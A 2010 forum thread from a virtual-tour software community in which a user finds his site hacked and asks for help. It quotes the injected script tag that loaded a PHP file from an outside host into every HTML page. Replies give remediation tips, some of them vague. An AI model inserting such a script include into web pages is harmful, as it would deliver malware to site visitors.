panorama software,virtual tour software
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Joined: 2007-04-22
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2010-02-11
#1

Trojan virus in TW4 ?

I just tried to send out a flyer via a company that sends them to Realtors. They said when proofing the flyer, before sending it out, that they got a warning of a Trojan when they clicked on the link. I recall reading something about this on the forum but a search produced nothing. Does anyone have any information on this problem. I personnaly have never had a problem with it.
Nikon D300, D3s, Nikon 10.5 lens, RingT105N+Footplate+MrotatorTCPs, Giottos MT9261 Tripod, Manfrotto 410 Jr geared head.

If you know the "secret" then everyday is a good day!
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2010-02-11
#2

Update:
After over an hour on the phone with my hosting provider (Yahoo) and checking Google Webmaster Tools it seems that the following has been added to all of my html codes.
<script src=http://fernandomenezes.net/images/Na_balada.php ></script>
Does anyone know what this is or why it would be in my TW code?
When I remove it from the html it does not seem to have any effect on my tours.


Nikon D300, D3s, Nikon 10.5 lens, RingT105N+Footplate+MrotatorTCPs, Giottos MT9261 Tripod, Manfrotto 410 Jr geared head.

If you know the "secret" then everyday is a good day!
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Joined: 2002-11-23
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2010-02-11
#3
Sounds like your server has been hacked and you will find that piece of code in multiple .html pages. Have you looked and more pages? As a rule these are normally pages that are index.html, default.html, contact.html normal pages that most websites will contain.

I would change your FTP passwords and remove any history from your FTP client along with the FTP client "stored" log-in information in case it is your computer that has been hacked or is sending out the passwords.

Regards, Smooth
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2010-02-12
#5

Thanks for the information.
Here is where I stand now:
I checked maybe 20 tours and they all have the above code added to the html page. This is also true of the slide shows I have published.
My tech guy says that it most likely did not come from my computer but from a third party that just hacked my site. I have scanned my computer with 3 different programs and they all say it is clean.
I had to sign in to "Google webmaster tools" and they gave me information on what to look for (the above code) and to just delete it. But seeing as how I have hundreds of pages with html that was nearly impossible. So I deleted a tour, that I knew had the code, from the server. Republished the tour and checked it and it was clean on the server. So, the only thing left to do was just republish everything to the server which over rode the existing pages. This took about 8 hours over high speed cable at night while I was asleep. This of course was after I changed the password. I did not know you could use symbols in addition to letters and numbers. So I added a bunch of symbols to my new password.
Checked it this morning and all pages are clean. Through the Google webmaster tools page I requested a "review" of my site. I am still waiting for them to remove the "This site may harm your computer" warning. Their forun says it should take no longer than 24 hours. They have reviewed and cleared the site but have not removed the warning.

I hope this information will help others that may run into this problem. 


Nikon D300, D3s, Nikon 10.5 lens, RingT105N+Footplate+MrotatorTCPs, Giottos MT9261 Tripod, Manfrotto 410 Jr geared head.

If you know the "secret" then everyday is a good day!
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Joined: 2005-06-09
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2010-02-15
#6
I had a similar situation. Make sure you add captcha code to any website that reaches you through email. What the robots do is they send you an email through your website, you open it. They track you and they than hack your website.
Miguel Martinez
Virtual Tour Designer
360 Design Studio (Formally known as VirtualSV)
support@360designstudio.com

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2010-02-15
#7

Thanks for that bit of information.
What is the code and how do you add it, I'm not a techie in such matters.


Nikon D300, D3s, Nikon 10.5 lens, RingT105N+Footplate+MrotatorTCPs, Giottos MT9261 Tripod, Manfrotto 410 Jr geared head.

If you know the "secret" then everyday is a good day!
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Joined: 2008-05-10
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2010-02-15
#8
Hi Jerry, another tip for you :)

At every directory level place a copy of your index.html file

For example if I go to your directory
http://realty360tours.com/pro_tour/ i can see and download all i can see. Have a look and you will see what i mean. Now if you ftp a copy of your index file into that directory anyone that tries to have nose around your files will always be sent to your home page by default. You can do the same at any level. If you have /images just drop a copy in there and it is safe from pryng eyes.

Many webmasters use an index file and simply write "Unauthorised access" or "Bog Off" on the page and place it in the directory.

:)




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2010-02-15
#9
Thanks, you guys are getting way over my head.
I did Google Captcha code and understand that. But I don't think that would help as much as hurt business. If I had to go through a Captcha code to view a tour I would just bypass it. I don't have any forms to use on my site.
As for putting the "index file" into a directory, I just don't understand how to do that and don't understand what it is........ The FTP I use is through my site host (Yahoo hosting). 
Nikon D300, D3s, Nikon 10.5 lens, RingT105N+Footplate+MrotatorTCPs, Giottos MT9261 Tripod, Manfrotto 410 Jr geared head.

If you know the "secret" then everyday is a good day!
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2010-02-16
#10
Hi Jerry, your index file is your main home page. i.e
http://www.realty360tours.com/index.html

Just upload that index.html file into the various directories on your host. A similar process to uploading your VT's. You must have set up a directory called pro_tour or maybe Tourweaver created it but just find that directory and place a copy of the index.html file in there.

Hope it makes sense.

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2010-02-16
#11
http://www.captcha.net/ Its free you sign up there, and there are different methods to deploy on your website.
Miguel Martinez
Virtual Tour Designer
360 Design Studio (Formally known as VirtualSV)
support@360designstudio.com